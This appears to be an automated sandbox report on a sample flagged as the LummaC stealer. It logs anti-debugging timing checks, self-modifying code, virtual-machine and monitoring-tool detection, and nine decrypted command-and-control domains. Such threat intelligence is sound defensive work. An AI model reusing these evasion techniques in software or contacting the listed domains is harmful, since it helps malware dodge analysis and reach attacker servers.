Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D4006F second address: 4D40106 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 2Ch 0x0000000c jmp 00007FA3EC7880C6h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FA3EC7880C0h 0x00000017 push eax 0x00000018 jmp 00007FA3EC7880BBh 0x0000001d xchg eax, ebx 0x0000001e jmp 00007FA3EC7880C6h 0x00000023 xchg eax, edi 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FA3EC7880BEh 0x0000002b sub esi, 389FB538h 0x00000031 jmp 00007FA3EC7880BBh 0x00000036 popfd 0x00000037 push ecx 0x00000038 movsx edi, cx 0x0000003b pop eax 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f movzx esi, di 0x00000042 mov ebx, 120874ACh 0x00000047 popad 0x00000048 xchg eax, edi 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40106 second address: 4D4010A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D4010A second address: 4D40110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D401B2 second address: 4D401B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D401B8 second address: 4D401BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D401BC second address: 4D401C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40311 second address: 4D40316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D4036D second address: 4D40373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40373 second address: 4D40397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007FA45D6661C7h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FA3EC7880C2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40397 second address: 4D4039B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D4039B second address: 4D403A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D403A1 second address: 4D40403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FA3EC873747h 0x0000000f pushad 0x00000010 mov bh, cl 0x00000012 pushfd 0x00000013 jmp 00007FA3EC8736E3h 0x00000018 or eax, 630B206Eh 0x0000001e jmp 00007FA3EC8736E9h 0x00000023 popfd 0x00000024 popad 0x00000025 cmp dword ptr [ebp-14h], edi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FA3EC8736DDh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40403 second address: 4D4046C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FA45D666139h 0x0000000f pushad 0x00000010 mov esi, 06F2C673h 0x00000015 mov eax, 4DA956CFh 0x0000001a popad 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FA3EC7880C7h 0x00000027 and esi, 3E52988Eh 0x0000002d jmp 00007FA3EC7880C9h 0x00000032 popfd 0x00000033 movzx ecx, di 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D4046C second address: 4D404DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA3EC8736E8h 0x00000009 or eax, 69E8EE38h 0x0000000f jmp 00007FA3EC8736DBh 0x00000014 popfd 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a lea eax, dword ptr [ebp-2Ch] 0x0000001d jmp 00007FA3EC8736E4h 0x00000022 xchg eax, esi 0x00000023 jmp 00007FA3EC8736E0h 0x00000028 push eax 0x00000029 pushad 0x0000002a jmp 00007FA3EC8736DCh 0x0000002f popad 0x00000030 xchg eax, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D404DE second address: 4D404E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D404E3 second address: 4D405BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FA3EC8736DEh 0x00000011 sub ah, FFFFFF88h 0x00000014 jmp 00007FA3EC8736DBh 0x00000019 popfd 0x0000001a pushfd 0x0000001b jmp 00007FA3EC8736E8h 0x00000020 xor esi, 6BCDBEE8h 0x00000026 jmp 00007FA3EC8736DBh 0x0000002b popfd 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FA3EC8736DFh 0x00000035 add esi, 0DB0962Eh 0x0000003b jmp 00007FA3EC8736E9h 0x00000040 popfd 0x00000041 mov ebx, ecx 0x00000043 popad 0x00000044 nop 0x00000045 jmp 00007FA3EC8736DAh 0x0000004a xchg eax, ebx 0x0000004b jmp 00007FA3EC8736E0h 0x00000050 push eax 0x00000051 jmp 00007FA3EC8736DBh 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FA3EC8736E5h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D405F4 second address: 4D405FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D405FA second address: 4D405FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D405FE second address: 4D30736 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a jmp 00007FA3EC7880C9h 0x0000000f je 00007FA45D6660EAh 0x00000015 xor eax, eax 0x00000017 jmp 00007FA3EC7617EAh 0x0000001c pop esi 0x0000001d pop edi 0x0000001e pop ebx 0x0000001f leave 0x00000020 retn 0004h 0x00000023 nop 0x00000024 sub esp, 04h 0x00000027 mov esi, eax 0x00000029 xor ebx, ebx 0x0000002b cmp esi, 00000000h 0x0000002e je 00007FA3EC7881F5h 0x00000034 call 00007FA3F0F147B9h 0x00000039 mov edi, edi 0x0000003b pushad 0x0000003c jmp 00007FA3EC7880BDh 0x00000041 push eax 0x00000042 mov cx, di 0x00000045 pop edi 0x00000046 popad 0x00000047 xchg eax, ebp 0x00000048 jmp 00007FA3EC7880C6h 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 pushfd 0x00000052 jmp 00007FA3EC7880BCh 0x00000057 adc cl, FFFFFFF8h 0x0000005a jmp 00007FA3EC7880BBh 0x0000005f popfd 0x00000060 pushfd 0x00000061 jmp 00007FA3EC7880C8h 0x00000066 or eax, 1F4E0E58h 0x0000006c jmp 00007FA3EC7880BBh 0x00000071 popfd 0x00000072 popad 0x00000073 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40AC6 second address: 4D40AF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA3EC8736DAh 0x00000009 and ax, 46C8h 0x0000000e jmp 00007FA3EC8736DBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov eax, 08BAC55Bh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40AF3 second address: 4D40AF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40AF7 second address: 4D40B05 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B05 second address: 4D40B09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B09 second address: 4D40B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B0F second address: 4D40B20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B20 second address: 4D40B24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B24 second address: 4D40B28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B28 second address: 4D40B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B2E second address: 4D40B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA3EC7880C5h 0x00000008 mov edx, ecx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 mov dx, si 0x00000013 popad 0x00000014 cmp dword ptr [75C7459Ch], 05h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FA3EC7880BCh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B67 second address: 4D40B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA3EC8736DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40B79 second address: 4D40B7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D40BE0 second address: 4D40BFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 2F80C3DFh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov cx, di 0x00000014 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50A71 second address: 4D50A77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50A77 second address: 4D50A7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50A7B second address: 4D50AA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC7880C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edx, 49502B76h 0x00000014 movsx edx, ax 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50AA1 second address: 4D50AA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50AA7 second address: 4D50AAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50AAB second address: 4D50AAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50AAF second address: 4D50B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FA3EC7880BEh 0x0000000e xchg eax, esi 0x0000000f jmp 00007FA3EC7880C0h 0x00000014 mov esi, dword ptr [ebp+0Ch] 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FA3EC7880BDh 0x00000020 sbb ax, 3E36h 0x00000025 jmp 00007FA3EC7880C1h 0x0000002a popfd 0x0000002b mov si, C627h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50C72 second address: 4D50CAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA3EC8736E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA3EC8736E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	RDTSC instruction interceptor: First address: 4D50CAC second address: 4D50CB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Special instruction interceptor: First address: 5C8AF5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Special instruction interceptor: First address: 7907B1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Special instruction interceptor: First address: 774AE7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Special instruction interceptor: First address: 7F1F32 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe TID: 4248	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe TID: 1804	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe TID: 5040	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe TID: 4480	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\Mozilla	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior

Source: j6ks0Fxu6t.exe, 00000000.00000002.2314583344.000000000074E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: j6ks0Fxu6t.exe, j6ks0Fxu6t.exe, 00000000.00000003.1869872872.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1770270270.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2315726368.0000000000F38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: j6ks0Fxu6t.exe, 00000000.00000003.1869872872.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1748117451.0000000000F95000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1770270270.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1848771785.0000000000F94000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.2003050923.0000000000F92000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000002.2316056506.0000000000F93000.00000004.00000020.00020000.00000000.sdmp, j6ks0Fxu6t.exe, 00000000.00000003.1847646303.0000000000F92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314583344.000000000074E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: NTICE
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: SICE
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: bashfulacid.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: tentabatte.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: curverpluch.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: talkynicer.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: shapestickyr.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: manyrestro.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: slipperyloo.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: wordyfindy.lat
Source: j6ks0Fxu6t.exe, 00000000.00000002.2314166158.0000000000571000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: observerfry.lat

Source: j6ks0Fxu6t.exe, 00000000.00000002.2314866194.000000000078F000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 0Program Manager

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\j6ks0Fxu6t.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
